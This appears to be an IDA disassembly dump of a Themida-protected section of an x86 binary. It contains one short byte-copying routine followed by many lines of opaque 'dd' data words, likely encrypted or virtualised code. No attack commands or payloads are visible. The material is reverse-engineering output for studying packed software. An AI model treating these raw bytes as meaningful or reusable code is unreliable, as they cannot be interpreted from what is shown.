loc_593531:				; CODE XREF: Themida_:0059350Ej
		mov	al, [ebp-3]
		add	al, 4


loc_593536:				; CODE XREF: Themida_:0059352Cj
		add	[ebp-1], al


loc_593539:				; CODE XREF: Themida_:00593522j
		mov	al, [ebp-1]
		dec	byte ptr [ebp-1]
		test	al, al
		jz	loc_593561
		movzx	ecx, byte ptr [ebp-1]
		inc	ecx


loc_59354C:				; CODE XREF: Themida_:0059355Bj
		mov	edi, [ebp+0Ch]
		movzx	eax, dl
		inc	dl
		dec	ecx
		mov	bl, [edi+eax]
		mov	[esi+eax], bl
		jnz	loc_59354C


loc_593561:				; CODE XREF: Themida_:00593541j
		pop	edi
		pop	esi
		mov	al, dl
		pop	ebx
		leave
		retn
; ---------------------------------------------------------------------------
		dd 8EBD08Bh, 40E63F6Ah,	77E7339Ch, 0C97E9h, 0A23F6800h
		dd 0AEE9064Dh, 68FFFADDh, 64DA353h, 0FADDA4E9h,	0A4E968FFh
		dd 9AE9064Dh, 68FFFADDh, 64DA5FFh, 0FADD90E9h, 0A75568FFh
		dd 86E9064Dh, 68FFFADDh, 64DA960h, 0FADD7CE9h, 0AAB768FFh
		dd 72E9064Dh, 68FFFADDh, 64DABA9h, 0FADD68E9h, 0E9E889FFh
		dd 90951F8Bh, 403A4F0h,	89882864h, 3E33BFEBh, 58603152h
		dd 0E3BFDDDCh, 7420405Dh, 0FEAAF6C9h, 41127E75h, 0D418502Eh
		dd 2A47C71h, 46EC8081h,	842FEB43h, 3A0F081h, 932D6404h
		dd 7641510h, 0BF17F295h, 9F36D4EFh, 6C451ECFh, 0DCADCA7Ch
		dd 6C45460Eh, 0EA510D7Ch, 0A90041BAh, 339BDBh, 0B9000000h
		dd 7549DC7Eh, 7C6C4064h, 99255C55h, 463712B4h, 0FC084C39h
		dd 394672D8h, 0CEBAFA48h, 25917C6Ch, 9D25B766h,	659E2E84h
		dd 0BFDBA992h, 103h, 0FBFE85E4h, 0C161FB8Ah, 2AE6AC0h
		dd 33034519h, 22D17624h, 0B1DA5D7h, 0DF5CDD10h,	9BDDB148h
		dd 297624BAh, 0C187D74Eh, 0F7624BAh, 0DFADCA60h, 50205154h
		dd 0DDB4D4D3h, 32AEA343h, 0BD1BB3B6h, 7624BFC8h, 107077FCh
		dd 55EBFF84h, 0BF48005Eh, 0EB947624h, 309CED6Ah, 0FCD24507h
		dd 7C6CE871h, 0F7AECAB5h, 70BA4482h, 4BE3F8E1h,	9302C8F3h
		dd 0B775DD3Bh, 0CD5CE82h, 0C872840h, 0BE397F4Fh, 0F8877626h
		dd 0D8A7D37Bh, 3237B34Dh, 0BBBE3A56h, 0A0F5DE04h, 8737E812h
		dd 0A77h, 44243BBAh, 0CDAFAA48h, 31534ED1h, 0A4C4DD65h
		dd 2F4D4CE8h, 0EB97AF04h, 881E8A16h, 6A3FF9Dh, 8E356103h
		dd 637AE98Bh, 71D54D0Bh, 42C59B7Ch, 6DF8F985h, 0F1F7DDD6h
		dd 21D59F3Dh, 24F53771h, 4CE98576h, 0FE7F3C4Dh,	20594858h
		dd 9F1BDAB8h, 0FB8CED9Ah, 0AA0E820h, 77EEE58Eh,	0E2CA8EE0h
		dd 69167624h, 0B902A1C1h, 7549DC7Eh, 7C6C4064h,	5958E4B0h
		dd 37B34DD8h, 78EE3CC6h, 0CF4CF47Ch, 0BAFA4867h, 917C6CD5h
		dd 0E3385FEh, 0ADE01B41h, 49944B05h, 0EA9CDCB2h, 4F287C6Ch
		dd 0B62CD7E7h, 0BBF6DBA9h, 2D000000h, 8AFBFE85h, 0E87F72FEh
		dd 0E0BEAF54h, 762432A8h, 0BDCA4B34h, 895956FCh, 7624379Ch
		dd 0EC8C8B28h, 0ABC033B0h, 1A60C91Ch, 3A92E360h, 0ABB64801h
		dd 0C95CDDDAh, 6CD968F5h, 91F3BC7Ch, 0C95CFE39h, 0B72802F5h
		dd 9A19B382h, 2981EE9Fh, 0E077EE89h, 2727CA8Eh,	0C1691676h
		dd 3D3CB854h, 0A2A7435Fh, 0A08BBD1Bh, 9604FB12h, 963h
		dd 30502FD6h, 0B9DBDE64h, 2D4F5AEDh, 90F0F171h,	1B797804h
		dd 7A39BF8h, 942A6602h,	32BFEB89h, 0A2415D3Fh, 770EC5A7h
		dd 71D56127h, 4ED96F7Ch, 90EEF985h, 762432D8h, 7E1A9BE4h
		dd 13828122h, 3266227Ch, 35727624h, 0B1191CA7h,	0EC807211h
		dd 0D4D15347h, 0F159C6A7h, 0EF948221h, 9D1A9BE8h, 10179CECh
		dd 7D1F1870h, 0D6AD56EAh, 67FE9500h, 24335117h,	0BA109F76h
		dd 6C633D1Ch, 0A6F8897Ch, 7C6C62E2h, 730081EEh,	6C62A2E3h
		dd 4E3DA97Ch, 0A922BD66h, 5CE67DBh, 0B24E0000h,	31433037h
		dd 0A037B4B5h, 6C6A8ACEh, 8129567Ch, 0CF7EB9E6h, 5C5D2A27h
		dd 0EB7648DFh, 77C6C3Bh, 0F9BB0B78h, 507C6C3Ah,	571A443Dh
		dd 31BFAF5Eh, 4C782799h, 0DBA9CAD7h, 58F0Dh, 7EB99600h
		dd 707549DCh, 0C47C6C4Eh, 387CCABBh, 137C6C4Eh,	57CCF8A7h
		dd 8DDBA909h, 570h, 5E76D916h, 5E30A765h, 7C6C430Fh, 0D0C95C5Bh
		dd 0B5617953h, 839F3785h, 816E78D5h, 65271008h,	7CAD9CF2h
		dd 7E3906C9h, 85D7B2E7h, 3608B61Dh, 82BD13A0h, 1AB64DD8h
		dd 0A2308685h, 881FA9Ch, 0A1B2304Ch, 81E98BCDh,	0D15E5900h
		dd 0CE51C3A0h, 0CEC352D3h, 7BD9279Bh, 30E54D64h, 0ECAC0299h
		dd 18008165h, 8AEB9887h, 878045FEh, 994D47B4h, 5DE6B218h
		dd 7E3A7E50h, 0F9860081h, 10891878h, 106E4968h,	818058h
		dd 0B6E1B64h, 0A575DD26h, 5AA41B1Eh, 5C88460Fh,	7CD33A3h
		dd 0C56C0000h, 70F2AECAh, 0E47B1775h, 670F9BF9h, 16920E6Ah
		dd 5527113h, 0D0B0B13Dh, 452722C4h, 0CFADAC49h,	375550D3h
		dd 0F3B5099Ch, 0C17C71D6h, 0FE85A47Fh, 0F9C28AFBh, 742DC453h
		dd 3941D033h, 0B5238B50h, 7C721BA2h, 0FD6B0976h, 7C721AE7h
		dd 0A74351DDh, 575425A2h, 0F47F6DD6h, 0FD3B93F1h, 0C2FED047h
		dd 0E7C721Ah, 0E3801061h, 4ED32A10h, 0C388026Ch, 0D68EF12Bh
		dd 0C550D15Eh, 238B8E2Bh, 0F39BC987h, 0F7AC7C71h, 9565C64Fh
		dd 80225728h, 0BD19B4B8h, 0EA9703ABh, 9A197517h, 1450EE9Fh
		dd 0B37C71FEh, 0B9AD48E4h, 0CCBD3A27h, 4E3F2ABCh, 500AA021h
		dd 0A7A241EBh, 92217B30h, 0F28AC657h, 1C2BF00Dh, 872FACBCh
		dd 0BB13AAFBh, 6FD70EFDh, 13F6E5CCh, 7103F2C1h,	73F0A036h
		dd 0EDB70774h, 0EE6FD6E7h, 0CE75BF6Ch, 0FC1FA9CBh, 74000000h
		dd 8AFBFE85h, 0F7C73FEh, 2432F9BFh, 999C2776h, 0F19BA4E8h
		dd 0D3FF0866h, 4C2B7C71h, 55E113F1h, 0CC7A350Ch, 6B7h
		dd 84E4FB7Ah, 0D6F6A08h, 71130E91h, 0E4849D25h,	6F0D0CA8h
		dd 0AB576F44h, 48DECAD6h, 0C6633F5Dh, 4EF5A1C3h, 23BA294Bh
		dd 71D80D4Bh, 8205DB7Ch, 8AFBFE85h, 1D7F72FEh, 72E5E481h
		dd 9505A6DBh, 6C0C633h,	250A1048h, 0BFAA3C76h, 0D4D3A1CEh
		dd 8D36627Eh, 0E08D1FB6h, 6D3949E1h, 9CEB34C1h,	0F9D4E709h
		dd 7856ED78h, 7624F640h, 2C4BE38Ch, 46D1D05Ch, 5764214Dh
		dd 3991864Fh, 0D58AE4BAh, 0F76E630Fh, 72D8D965h, 1C5DC656h
		dd 787DDE1h, 1C000000h,	6C67h, 0FE85FC00h, 783C8AFBh, 59762442h
		dd 96D54942h, 0AD9B1BE3h, 4C944B05h, 0D1C0A0A7h, 0CDBAB73Fh
		dd 0EF8A06ACh, 8ACB9BE8h, 8576252Fh, 23CE12C9h,	3024643Ah
		dd 0F7B07625h, 85892A76h, 0F888F9F8h, 7F0D7A7Dh, 0F183F0F5h
		dd 87047574h, 47DF14CBh, 0C762B675h, 7836A0C0h,	8376243Ah
		dd 0E11A37EDh, 0FEDAEFDDh, 6734FFFFh, 2B8h, 0FFE85FCh
		dd 0C3A9E28Bh, 0F7840537h, 24932D67h, 0EEA37276h, 0F80D12E7h
		dd 0C880DE1Ah, 147624AFh, 0A44EA6Bh, 0E1E48F55h, 696C1783h
		dd 0B01A4A18h, 852E7624h, 0A49FF18Eh, 44D86FE6h, 4F0DA5BCh
		dd 7C7250B8h, 42B80760h, 740C55A4h, 5610BBBh, 51D00000h
		dd 0DC66325Eh, 58EFBBD9h, 0F3732F4Dh, 7A0692FEh, 99FE0567h
		dd 640405A1h, 0E98B9628h, 533130BDh, 0DBB9BC47h, 5F197508h
		dd 6D7C71D9h, 0FE8548DBh, 72FE8AFBh, 0C5A2168Bh, 634D2623h
		dd 84E46519h, 7AB7940Dh, 0A69526FDh, 0E4E38010h, 5F940D84h
		dd 78339505h, 0F17D1DB5h, 35CB65F0h, 0CB5A5B28h, 2452B5F3h
		dd 0CE640376h, 5257D3A1h, 0BC635D25h, 0ABC9C874h, 0E1321803h
		dd 1E6C2DDh, 0B9590000h, 1AA8D97Bh, 75133148h, 0C8FCA31Fh
		dd 230FEC53h, 1CF89h, 7BB91200h, 38704ED9h, 84762433h
		dd 663C8AFBh, 3D751331h, 7913DA81h, 3854FAE7h, 230FECC3h
		dd 1AB19h, 7BB98200h, 4A9C2E2Dh, 14957053h, 5A6F2D81h
		dd 0F9907624h, 245AE3A5h, 20B6F176h, 0C8661790h, 7513597Ah
		dd 0E6CEBD29h, 230FC43Dh, 17BE7h, 0B803C00h, 2DB2431Fh
		dd 8A59453Eh, 7EFFFA78h, 9A3804D8h, 3FFDB30Bh, 0ACCB7624h
		dd 3F330FDFh, 179D7513h, 6F176512h, 239DE592h, 3413B47Ch
		dd 33E85AB7h, 0D4D350ECh, 0E1B56E7Eh, 396F230Fh, 0B4000001h
		dd 0C19E0B80h, 5D6517DAh, 0A0C8DAACh, 0BA320C2h, 90E1E48Fh
		dd 0F1646300h, 5229C85Fh, 6E0E66FBh, 0E8C651DEh, 76245CB0h
		dd 0CFDB733Ch, 9F36D4EFh, 6C6F1ECFh, 0CB7A2F7Ch, 2BF4E9FDh
		dd 55525EF4h, 9ECE9624h, 0C9857C6Ch, 7EC93212h,	2513DBA9h
		dd 88000000h, 49DC7EB9h, 6C406475h, 38BB557Ch, 9AE5953Dh
		dd 40175DEDh, 80327C6Ch, 336EDDBh, 9FECDBA9h, 37000000h
		dd 4C5BEC80h, 8A892AE6h, 0E03AFFDh, 647D0597h, 50D3A1CEh
		dd 0AF542455h, 47D9C8A8h, 0A9D6A7BAh, 37E25301h, 0ED967624h
		dd 19228A16h, 0B5C2C560h, 49E077F4h, 369CDCB2h,	4F287624h
		dd 0D87CE9E7h, 99E87C6Eh, 6ED783C5h, 0A956517Ch, 0E1DA23Eh
		dd 0D753EDA8h, 5EDAB6D2h, 0DC0CE45Bh, 453A0C58h, 356D5h
		dd 455CE500h, 0CCC96B27h, 706FF0ACh, 0E5FC8410h, 6A6F0B87h
		dd 0B48CE50Eh, 3F6B0908h, 0C0DCBCA9h, 4A462225h, 15CEAAA9h
		dd 0DB6C2C82h, 0E6787C71h, 0F8F9853Dh, 60670C98h, 0FE856300h
		dd 61FB8AFBh, 0AF6BC3DEh, 0F5630104h, 762432B0h, 0AA3DDFD8h
		dd 6C4D85D4h, 38C5D17Ch, 3BD8B839h, 6CFBFE85h, 0FD5554D0h
		dd 6915A7FEh, 349A1B68h, 0B8D8DF64h, 0B225E7D0h, 6C4531DCh
		dd 0BDCAB57Ch, 6C44672Dh, 13169D7Ch, 976A1662h,	0A01FD3E6h
		dd 17D4866Bh, 0A900CA31h, 2F10DBh, 0E2790000h, 6C4CCC8Ch
		dd 379F187Ch, 0DC7EB9ACh, 40647549h, 0F7B07C6Ch, 2027CC60h
		dd 175DED8Ah, 327C6C40h, 36EDDB80h, 0ECDBA903h,	0C9h, 0FBFE8537h
		dd 7F72FE8Ah, 0F2F1720Eh, 0C3B9F285h, 0A324F1E1h, 0E1820EA4h
		dd 5DC886E2h, 6976252Ch, 0F1ADCFCAh, 6F067772h,	23C286D8h
		dd 720E7625h, 0DA70F1ECh, 4933902h, 6D53E3AAh, 1878077Ch
		dd 52C587B0h, 948221BBh, 1B68E9E8h, 0A9A6349Ah,	0C482B7B5h
		dd 0C39B8C28h, 7626AC85h, 0A6D75453h, 4D8EACD9h, 1FCACDAAh
		dd 0C76F3BB7h, 7FFCBDCAh, 4E97B3E8h, 0B5B933DDh, 58E4781Dh
		dd 0C36F3B59h, 0DF5C55DDh, 0A0A28660h, 5FCF4012h, 1FFh
		dd 0DCBCB332h, 452722C0h, 0C9ABB649h, 3C5C55DDh, 0A7C5C460h
		dd 630F379Ch, 0F096026Eh, 9E1B7715h, 6ADF99Bh, 0DBF26103h
		dd 71DCC583h, 0DA4D137Ch, 98F8F985h, 60670Ch, 0DC7EB963h
		dd 951EB249h, 0F1B7079Eh, 0FF762432h, 2DBC1AB0h, 1C7C6C40h
		dd 3F6F2985h, 327D7C6Ch, 0E2931C9Ch, 153E1E93h,	0C316137Ah
		dd 6CB4ADEBh, 0FF7C3B7Ch, 0B53B7957h, 0A4167C6Ch, 8C5AC1E7h
		dd 0C180DBA9h, 0E9000000h, 0D8A9AC57h, 855073DBh, 0FE8AFBFEh
		dd 53156972h, 81762432h, 1293E0E1h, 0EB981966h,	2437EA5Bh
		dd 1E159E76h, 744DF587h, 0B0D06607h, 0CD585FE4h, 0C4B5B033h
		dd 369BDDB1h, 4E297624h, 0D5D053C1h, 406FC7A4h,	0FE69330Ch
		dd 6C66DDA0h, 26E097Ch,	46D891AAh, 734BDA5Bh, 82B6FF9Dh
		dd 87198CEBh, 0E9AE6FBh, 0BCD06F62h, 0FA12A0F5h, 10D9505h
		dd 852C0000h, 30B2EE8Ah, 0A43B5735h, 27CFDBB9h,	0D6524E2Ah
		dd 0C592B1D3h, 107071FDh, 85E7E284h, 0F6D6C09h,	77151093h
		dd 0B3F5C9DCh, 17C71DDh, 0F985E4BFh, 770998F8h,	0CE8AE4CFh
		dd 1A762432h, 0DAB61C9Dh, 31CB5A59h, 9F24B4B5h,	0D963298h
		dd 56E8FE85h, 0EABDCA4Bh, 0D8A9AC56h, 1CA773DBh, 962A7B19h
		dd 0EFBF17EAh, 0CF9F36D4h, 7C71D334h, 0B6C2B3FCh, 9899250Dh
		dd 0D0A0A4EFh, 1986A246h, 7376F28Eh, 3AD6CFDBh,	8713BBBEh
		dd 3A88F9FCh, 0C31DBB1Ch, 1C6D640Ch, 4219E48Ch,	0BE897695h
		dd 0DFADDA5Bh, 0EBC55D48h, 9D34FF34h, 17646103h, 2B351D96h
		dd 7BA36943h, 0FE2299D3h, 50E77E75h, 0B273A7Eh,	51F986B7h
		dd 0DBDE6531h, 39BE574Ch, 91024618h, 0A1CEB70Ah, 52C092D4h
		dd 5ADFFFCh, 6D2B831Ah,	7BB70B09h, 0A2A6E3Ch, 0C9B6B70Bh
		dd 0DE9C3B48h, 2E38BB61h, 0F7FA8F82h, 9AE93DFBh, 821E7AFBh
		dd 0E595E2E1h, 3, 85DA4162h, 494E5FCh, 790B787Fh, 0FC8CFDFCh
		dd 720E7F6Ah, 0F682F3F6h, 6A06774Ah, 0EA86F7CAh, 6B397655h
		dd 0B9BFCCC9h, 81E18951h, 4C1h,	4E98300h, 5C240C87h, 68241489h
		dd 706Fh, 68242C89h, 1096h, 53241489h, 8D48AFBBh, 0E9BBBD36h
		dd 0C5813CDAh, 5EE7585Ah, 0ED81DD29h, 5EE7585Ah, 148B545Bh
		dd 4C48124h, 53000000h,	5A89EB89h, 241C8B08h, 8B04C483h
		dd 89572414h, 4C781E7h,	81000000h, 4C7h, 243C8700h, 2434FF5Ch
		dd 4C4835Dh, 0FAD124E9h, 0C37A50FFh, 4DACDBB8h,	0FFC50306h
		dd 6DD811E0h, 75EC2021h, 4C40D953h, 15624675h, 5A85CE59h
		dd 1AB2513Fh, 4DD35F60h, 0F9DF2948h, 55FBEF46h,	0DD6FC917h
		dd 27A85C42h, 0CA539E52h, 0ECAAF96Dh, 342CA864h, 0B8A59419h
		dd 53502556h, 4174FC70h, 0DD359834h, 703A3B1Dh,	0C6AFA57Eh
		dd 0F8636B1Bh, 1B3CA605h, 6738530Dh, 4642106Ch,	0AC9CF502h
		dd 11887071h, 0FA139A28h, 2DEB4Ch, 0D0000000h, 9CBFAE0Dh
		dd 0F9DFF231h, 88A7A5ADh, 0FB75528Ch, 9CBE00B7h, 7EE5ADF9h
		dd 9D8993h, 67268168h, 3B2BD14h, 3F8709BFh, 0B9BE9h, 0AEE86800h
		dd 6EE9064Dh, 68FFFAD0h, 64DB00Bh, 0FAD064E9h, 0B11B68FFh
		dd 5AE9064Dh, 68FFFAD0h, 64DB199h, 0FAD050E9h, 0B27468FFh
		dd 46E9064Dh, 68FFFAD0h, 64DB3BBh, 0FAD03CE9h, 0B47B68FFh
		dd 32E9064Dh, 68FFFAD0h, 64DB6B1h, 0FAD028E9h, 0B7D468FFh
		dd 1EE9064Dh, 0D3FFFAD0h, 613D5F52h, 0EEBAC6C3h, 722E4A59h
		dd 19DFFF2h, 0FF046465h, 0F02AE96h, 0B2AF316Dh,	383FBAD6h
		dd 0A0A74C58h, 227C13C0h, 7C71E066h, 0B93BEC72h, 7549DC7Eh
		dd 7C71E11Ah, 0FA96016Eh, 51EB7A79h, 0C5A2D3CEh, 0A2415D6Dh
		dd 0BD86D6A7h, 5FF1881Fh, 6674DAD7h, 82BF8DECh,	178C1B64h
		dd 0E8A37195h, 76630CCAh, 1146CF91h, 0C15B3A90h, 49452722h
		dd 0FEDEAFAAh, 0F99007C5h, 0A8D9DC67h, 0D07563CBh, 247C6CB4h
		dd 2AFEE45Bh, 57C80C5Bh, 9FDA7h, 0CDC46D00h, 7471F3AFh
		dd 0F8E77814h, 6D640C98h, 1217930Fh, 3C046D76h,	0C7D3B1B0h
		dd 48442421h, 0D2CEAAADh, 9D365251h, 0E0F4B40Ah, 7EC07C71h
		dd 0FBFE85A5h, 7E75FE8Ah, 0CD81BA12h, 2432B7F1h, 0FD7A0576h
		dd 0B939D36Ah, 17512DB8h, 0A5762433h, 0B76674DAh, 0D67C6C45h
		dd 0CBB8BF3Ah, 0B7404AAh, 44A8EC7Ah, 37A37C6Ch,	0A75C48h
		dd 3D7DDBA9h, 0A6000000h, 27CF7EB9h, 0C95C5D2Ah, 2432B3F5h
		dd 0F9660176h, 3F89106Eh, 2A557C6Ch, 3FC78D5Dh,	0D0827C6Ch
		dd 6ACFC46Bh, 0E4A38E31h, 114CCFD1h, 70E87064h,	0A159C2DAh
		dd 0B783DBA9h, 18000000h, 8AFBFE85h, 0E7F72FEh,	85F2F172h
		dd 0DE494CF7h, 0EA775247h, 254DA3BDh, 247D3375h, 50E68176h
		dd 80DBA630h, 4CF77624h, 0F47F2B49h, 0F3CC80F1h, 5DE0BE29h
		dd 897C6CA5h, 112A82EEh, 4BA7DC4Bh, 0DC5769ABh,	7A54C169h
		dd 82B7929Eh, 861A8DEAh, 0DC70E7FAh, 21C25E51h,	0A5FC8C22h
		dd 0C0966B0Bh, 3CC6D450h, 0AA2B4839h, 0A16F7513h, 5ECC4312h
		dd 8DAh, 88E8E78Eh, 0F193961Ch,	650702A5h, 0E8888929h
		dd 533130BCh, 0DF5B6330h, 5CE2BEDAh, 0CA772341h, 7AF995F7h
		dd 2F461D7Fh, 71E3195Fh, 8601A77Ch, 698E0B80h, 0B71B9AAh
		dd 764BF7A3h, 0FEF57E2Ah, 7EB9F192h, 647549DCh,	0B07C6C40h
		dd 3FCB8DE1h, 9E197C6Ch, 0E3606702h, 3F80C492h,	0C4CB7C6Ch
		dd 198B9628h, 0BB359D9Ch, 33BE0C4h, 0D6E1DBA9h,	3A000000h
		dd 8AFBFE85h, 0E7F72FEh, 2436F1B0h, 0A756DD76h,	9007C2F1h
		dd 0B1D35019h, 337549E0h, 647624B1h, 24B14E0Ah,	6F1D9A76h
		dd 45EEAA00h
		dd 0CA66314Eh, 0BBBE442Ah, 5F2CADCAh, 1B24F85Eh, 0B84FE671h
		dd 0B10B4D21h, 0DED97624h, 24B0C880h, 0C36B1476h, 6CDA8895h
		dd 0C4535C7Ch, 0DE739ACFh, 13BB6029h, 7E1C2777h, 0C2097E7h
		dd 2F4882B7h, 3D2EC3B8h, 0A47B244Ah, 49F5870Eh,	0AFDCD95Bh
		dd 3AD641CEh, 0ADCABBBEh, 902C6505h, 562130Eh, 4041EDADh
		dd 0A171D1FDh, 0BA28E712h, 7CAh, 7818179Eh, 0E183862Ch
		dd 553712B5h, 0D8B8B939h, 432120CCh, 0CF6B5320h, 6CF2AECAh
		dd 0FA871371h, 6A0985E7h, 3F560D6Fh, 71E4296Fh,	7611B77Ch
		dd 98F8F985h, 60670Ch, 0FBFE8563h, 7E75FE8Ah, 33004412h
		dd 2F087624h, 0C1A4FA6Dh, 157C71E0h, 0C864FB6Ah, 14842A2Dh
		dd 9C08686Fh, 2D631017h, 81DD4812h, 82B9F568h, 2E28BF51h
		dd 0AA008184h, 0B6DE610Eh, 90129DD6h, 74C6F1Fh,	951C0000h
		dd 0A2FE9Ah, 942B6705h,	37BFEB89h, 0A6425E3Ah, 0D5A2C1A3h
		dd 204041EDh, 95F7D274h, 1F7D7CF9h, 87E5E083h, 0A3E5B9CCh
		dd 317C71E3h, 0FE85F4AFh, 75FE8AFBh, 0DC79017Eh, 0D4A5A440h
		dd 9E4D7FD7h, 0CEAAA94Ah, 0E10EF52Eh, 3DCF66DDh, 0A8E0BEABh
		dd 3476243Eh, 107BE34Bh, 0A0000000h, 0BA6F0B80h, 8D373B85h
		dd 1EC9725h, 470C0000h,	762432FDh, 0DF9A2C17h, 33FE154Dh
		dd 0F8D641CEh, 7C724492h, 702A13Bh, 11A10976h, 0DA6DFF96h
		dd 12AE67CFh, 69039291h, 5356DDCBh, 0B7C44522h,	544060F6h
		dd 0CCDBA8AFh, 83837C35h, 0DA2D0AB1h, 719DCC8Ch, 0C1F81F7Ch
		dd 0F464F43Ch, 0FB53FB84h, 0CB87EEC0h, 9D0E4BADh, 1435891Ch
		dd 0E082B9D2h, 0EF823887h, 0FBB4129Dh, 6714Bh, 7170F100h
		dd 0F8FD8713h, 6C7B0C98h, 1110900Ch, 869B2773h,	0C0F8D9FAh
		dd 4B472524h, 0DCC8A8B5h, 66325E51h, 29BAC6DDh,	0E4803896h
		dd 0FA4C7C71h, 0FBFE8529h, 0A297376Ch, 5EDD7BDDh, 0C1AEDFD2h
		dd 0A1E43740h, 335CB110h, 0E78C1C9Bh, 42DE75E0h, 0B5F3A3A6h
		dd 376246Dh, 4948F464h,	29CCD2E1h, 87EF7170h, 0F2700C61h
		dd 78F986F7h, 0F92398D2h, 841D7F7Ah, 3B4857E8h,	43B8D47Ah
		dd 99DDE185h, 7, 0F46702h, 0B9FC0000h, 0B249DC7Eh, 318D961Eh
		dd 76243277h, 15BD3A45h, 71E0E847h, 45B3207Ch, 0B42E73A8h
		dd 0AA631BEh, 64FB6A69h, 72174E0Ah, 0B51D9A7Ch,	4EE57C15h
		dd 72173870h, 0ABFB847Ch, 7C7216EDh, 0EB99841Bh, 0C96A268Ch
		dd 0E8D3BDCAh, 67DBB322h, 482BFC4h, 62C8D768h, 22BE2956h
		dd 79138281h, 0C46EFAE7h, 4D5969C1h, 9FD9B5A6h,	0CD76247Bh
		dd 0A0532120h, 5EC840ACh, 60E16E0Ah, 27C25EF5h,	4525320h
		dd 7624C044h, 30BF1790h, 2B2ECB65h, 19F55D5Ah, 0DED86F1Eh
		dd 40215E55h, 67F5B2C3h, 0F4B5C2DFh, 0B749E077h, 3B78090Ch
		dd 0F020C593h, 8BF47C6Ch, 5AD17C34h, 25D54A0Ch,	52Ah, 0D8B8B73Eh
		dd 412326CCh, 0B5D7B255h, 385859D9h, 0A3C1C06Ch, 6F0B3380h
		dd 0C920E6Ah, 9A277311h, 0AA9E587h, 0DFF66D0Fh,	71E5C98Fh
		dd 0D6B1177Ch, 15B67h, 7EB9FC00h, 0DCB249DCh, 7624329Ch
		dd 9109BB28h, 3625B62Fh, 0DD742189h, 0A5306846h, 0F3BC7624h
		dd 53227D5Bh, 0E9837C72h, 70314E4Bh, 9F625907h,	842AEE9Ah
		dd 801C8BF4h, 0DF71E4E3h, 0E9F95154h, 842036BDh, 686D1785h
		dd 6C1D9A1Bh, 0E2751720h, 0C035B14Bh, 0D749CB2Bh, 1B68E964h
		dd 0ACA6349Ah, 2482BF13h, 0B330CC5Bh, 3BB8D4B4h, 36014F3Ch
		dd 0D66A0194h, 44255231h, 145E0EEh, 16917C6Dh, 5AE10F57h
		dd 0C846390Ch, 46Ah, 187877FEh,	81E3E68Ch, 0F5977215h
		dd 78181999h, 0E381802Ch, 2FCBF3C0h, 0CC524E2Ah, 5AE7B3D1h
		dd 0CA692547h, 9F36ADCFh, 71E689CFh, 16F1577Ch,	777C0B80h
		dd 0EB10E8B8h, 7C3D4A4Fh, 38BB57FFh, 0B73C4C3Dh, 288A0C44h
		dd 23857F6Fh, 2D5511Dh,	98E99617h, 1E6F6A08h, 98F6E782h
		dd 7624C7E0h, 750283ECh, 36CFBC0Eh, 0CF6B0590h,	0B56A64CAh
		dd 56C1C46Fh, 4C3D38BAh, 53FB872Fh, 0DDE19BA8h,	4B72h
		dd 7EB9A900h, 0F9B249DCh, 0EAC8B6ACh, 654FAD9h,	7C6D3FBEh
		dd 0FAE97E0Ah, 0B156EA7Dh, 0E64E43D2h, 4E8012E4h, 504FD040h
		dd 3570EEFAh, 617C6C7Ch, 5433D4C2h, 1D4B40D7h, 6615BC0h
		dd 0E3BFCB63h, 0D3D6525Ch, 9BB52552h, 12000003h, 6EF9F885h
		dd 69B2A2D7h, 551893C6h, 24B24305h, 40169176h, 0C7C26133h
		dd 5C4AE9A5h, 2E3BCDD1h, 52D35051h, 36BE5225h, 852D4A3Bh
		dd 0E7786E15h, 0B7EC7BF8h, 0A067CE51h, 205836DAh, 0AC7624F0h
		dd 0DCEC42C3h, 8E19C3FCh, 19F82F7h, 0F6FAC2D5h,	2B4D8A27h
		dd 963CBDE0h, 6CFD1538h, 0D9D6D17Ch, 6CDD4B09h,	0FDFC797Ch
		dd 7F6AFC8Ch, 1ECD810Eh, 0CA6134D9h, 6CDCB4F4h,	0C874007Ch
		dd 7AFBB8C9h, 3259AD4h,	0DBA9B818h, 65C2h, 93F6AB00h, 6D84A190h
		dd 80D5EE44h, 0D55E44ECh, 43C0A1DEh, 742813EBh,	24325E1Ah
		dd 891E6A76h, 99C1D9Ah,	6C4024B5h, 0F87B157Ch, 5A2555FDh
		dd 3AC65A2Dh, 7D7E37D3h, 75F293F2h, 36B5FFDDh, 47E37C6Ch
		dd 0DF673542h, 0CCBEB5C2h, 0B935C61Fh, 0A39E2C2h, 13AADBA9h
		dd 6C3AFDBBh, 6ACCB7Ch,	0BCC6h,	0FE855D00h, 72FE8AFBh
		dd 40C1C06Ch, 0C7C26133h, 0C736BC50h, 0C9709444h, 0ED9A1BCFh
		dd 0FB89268Ch, 411F7D78h, 7624FF00h, 0B52027CCh, 349A9F1Bh
		dd 7C7BF894h, 0D476410Fh, 2E206D41h, 28447C6Dh,	9A0D8A8Dh
		dd 0F7656006h, 7B38494Ch, 0A5DEB7D3h, 6FFEB8BAh, 5D971B2h
		dd 0A905903Ah, 82B7BCB6h, 4EE27532h, 0D1CDAFA2h, 0B3E95455h
		dd 8512A14Dh, 2349C0Ah,	8D340000h, 38BAD6B2h, 0BC435F3Dh
		dd 2FD7C3A1h, 0DE5A3652h, 3D9AB9DBh, 18787905h,	8DEFFA8Ch
		dd 0F7959411h, 7F1D189Bh, 0BBFDD1E4h, 97C71E8h,	0F985ECB7h
		dd 770998F8h, 2EE002CBh, 6B1B5914h, 0B61C9DEAh,	3E5A59DAh
		dd 0DC7EB995h, 40647549h, 0F7B07C6Ch, 0B3F5C960h, 17C6C3Fh
		dd 13A3D066h, 7C6C3F51h, 8BF8FD87h, 0D7A67F9h, 8F443B75h
		dd 13912B62h, 0FB787905h, 0E87FED8Ah, 0A41B55FDh, 0A9039B80h
		dd 0F541DBh, 85DA0000h,	52FB0FFEh, 0DFA70D39h, 0D753215Eh
		dd 0CA943D2h, 0E091941Eh, 0FAC0283h, 2527F2BFh,	4D55DE76h
		dd 0D1DEAFBAh, 972EC550h, 252481C7h, 72204F76h,	76252536h
		dd 3D4DE582h, 11D02F64h, 16F7D6E4h, 5453D040h, 8C4E6927h
		dd 2F84519h, 37C97C6Dh,	71A9A8Ch, 1D88E986h, 6CC20741h
		dd 4AAD57Ch, 1690B74h, 0AD019436h, 82B76353h, 0A7F1691h
		dd 4C7D7837h, 41E9682Ah, 4F0F8EFBh, 0E212D625h,	18994247h
		dd 0AD49E3B2h, 54D0CCACh, 38B8EA55h, 118E12A1h,	11161h
		dd 0D1D05100h, 585DE7B3h, 0CCDB6C38h, 7170F0ACh, 0E6FB8713h
		dd 2018799Ah, 0ABE78584h, 3C680815h, 0C6D2BEB1h, 895A263Dh
